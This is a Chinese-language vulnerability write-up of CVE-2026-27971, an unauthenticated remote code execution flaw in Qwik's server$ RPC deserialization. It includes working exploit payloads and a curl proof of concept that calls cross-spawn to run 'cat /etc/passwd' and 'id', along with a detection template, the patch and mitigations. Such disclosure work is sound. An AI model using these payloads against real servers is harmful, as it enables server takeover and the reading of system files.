CVE-2026-27971:Qwik server$ 未经身份验证的远程代码执行
对 CVE-2026-27971 的技术解析:这是 Qwik(< 1.19.1)中一个 CVSS 9.2 的严重、未经身份验证的远程代码执行漏洞。server$ RPC 流程中的不安全反序列化允许从 application/qwik-json 请求中重建攻击者控制的 QRL 对象,从而实现任意模块路径和符号解析,并在 require() 可用时,通过精心构造的服务器端函数调用实现远程代码执行。
CVE-2026-27971
Qwik server$ 通过不安全反序列化实现的未经身份验证 RCE
2026 年 3 月 12 日 · CVSS 9.2 严重 · Qwik < 1.19.1
| CVE ID | CVSS | 受影响版本 | 修复版本 |
|---|---|---|---|
| CVE-2026-27971 | 9.2 严重 | < 1.19.1 | 1.19.1+ |
CVE-2026-27971 概述:通过 server$ RPC 反序列化实现的 RCE
Qwik 的 server$ RPC 机制接受 application/qwik-json 请求,并将攻击者控制的对象反序列化为运行时的实时值。在存在漏洞的版本中,这条反序列化路径可以重建一个指向任意模块路径和符号名称的 QRL。如果服务器端运行时仍然可以使用原生的 require(),就可以滥用框架的服务器导入路径,加载攻击者选定的 CommonJS 模块,并使用攻击者控制的参数调用导出的函数。
该问题影响那些存在漏洞的服务器端 server$ 流程可被触达、且运行时可使用 require() 的部署。此问题已在 Qwik 1.19.1 中修复,在该版本中,服务器导入路径不再对不可信的 QRL 输入执行惰性动态导入。
实际上,一个未经身份验证的远程攻击者可以向以下地址发送精心构造的 POST 请求:
POST /?qfunc=sync
Content-Type: application/qwik-json
X-QRL: sync
并迫使服务器解析:
./node_modules/cross-spawn/index#sync
这会将请求正文转化为对 cross-spawn.sync(...) 的远程函数调用。
CVE-2026-27971 不安全的 server$ 解析:从 Qwik JSON 到 require()
将这一存在漏洞的行为理解为一个三步链条最为简单:
1. 请求正文由 Qwik 的 `_deserializeData()` 解析
2. 反序列化得到的 QRL 对象被当作合法的 `server$` 函数目标
3. 服务器导入路径通过 `require()` 解析攻击者控制的 chunk
请求关卡
服务器端的关卡很简单。如果 qfunc 查询参数、X-QRL 请求头和 Content-Type 请求头相互一致,该请求就会被当作一次 server$ 调用:
if (
fn &&
req.headers['x-qrl'] === fn &&
req.headers['content-type'] === 'application/qwik-json'
) {
const data = _deserializeData(body);
if (Array.isArray(data)) {
const [qrl, ...args] = data;
if (qrl && typeof qrl.getSymbol === 'function' && qrl.getHash() === fn) {
const resolvedFn = await importSymbol(qrl.$chunk$, qrl.$symbol$);
const result = await resolvedFn.apply(null, args);
}
}
}
这并不是一个传统的 JSON API。攻击者发送的不是普通的函数名和参数,而是 Qwik 序列化后的对象图,它会在反序列化期间重建一个实时的 QRL 对象。
为什么该载荷能够生效
实验中使用的核心恶意载荷是:
{"_objs":["\u0002./node_modules/cross-spawn/index#sync","id",[],["0","1","2"]],"_entry":"3"}
经过 _deserializeData() 之后,它会变成:
[
qrl("./node_modules/cross-spawn/index", "sync"),
"id",
[]
]
因此,运行时最终会调用:
crossSpawn.sync("id", []);
危险的导入路径
存在漏洞的服务器端解析可以简化为以下形式:
async function importSymbol(url, symbolName) {
let modulePath = String(url);
if (!modulePath.endsWith('.js')) {
modulePath += '.js';
}
const mod = require(modulePath);
return mod[symbolName];
}
问题在于,url 和 symbolName 都来源于攻击者控制的序列化输入。一旦反序列化重建出 QRL,攻击者就同时控制了模块路径和要调用的导出项。
CVE-2026-27971 概念验证:实现远程代码执行
为了安全地验证该问题,我们搭建了一个本地 Docker 实验环境,配置如下:qwik-vuln 运行在 127.0.0.1:3000,使用 @builder.io/qwik@1.19.0
测试环境搭建
- docker-compose.yaml
services:
qwik-vuln:
build:
context: ./vulnerable
ports:
- "127.0.0.1:3000:3000"
漏洞利用
以下 curl 命令通过手动向存在漏洞的端点投递序列化后的 Qwik-JSON 载荷,实现了远程代码执行
curl -v -X POST "http://127.0.0.1:3000/?qfunc=sync" \
-H "Content-Type: application/qwik-json" \
-H "X-QRL: sync" \
-d '{"_objs":["\u0002./node_modules/cross-spawn/index#sync","cat","/etc/passwd",["2"],["0","1","3"]],"_entry":"4"}'
结果
存在漏洞的容器返回了:

这证实了通过反序列化的 server$ 调用链远程执行了 cat /etc/passwd。
CVE-2026-27971:Nuclei 验证模板
为了进行本地模板验证,我们创建了一个基于 id 的 Nuclei 模板:

存在漏洞的目标验证 存在漏洞的实验环境满足预期条件:
- HTTP 200
- 响应头中包含 application/qwik-json
- 命令输出匹配 uid=,gid=
CVE-2026-27971:Qwik 1.19.1 中的修复
打上补丁后的行为移除了服务器运行时中那条危险的动态导入路径。服务器端的导入例程不再通过 require() 解析任意 chunk,而是采用失败即关闭(fail closed)的方式:
async function importSymbol(_url, symbolName) {
const regSym = global.__qwik_reg_symbols?.get(getSymbolHash(symbolName));
if (regSym) {
return regSym;
}
throw new Error(`Dynamic import failed for symbol '${symbolName}'`);
}
这就是关键的安全变更。反序列化得到的 QRL 仍可能作为数据存在,但它不再会导致服务器端加载任意模块。
修复后控制项的验证
针对打了补丁的控制项运行同一个 nuclei 模板:

返回了:
HTTP/1.1 500 Internal Server Error
Content-Type: text/plain
Invalid request
立即修复措施
- 将 Qwik 升级到 1.19.1 或更高版本
- 避免在可使用原生 require() 的运行时上暴露存在漏洞的 server$ RPC 路径
- 检查服务器端适配器或自定义 CJS 封装是否重新引入了动态模块解析
参考资料
| 资源 | 链接 |
|---|---|
| Github 安全公告 GHSA-p9x5-jp3h-96mm | https://github.com/advisories/GHSA-p9x5-jp3h-96mm |
| Nuclei 模板 | https://github.com/Ostorlab/KEV/blob/main/nuclei/CVE-2026-27971.yaml |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-27971 |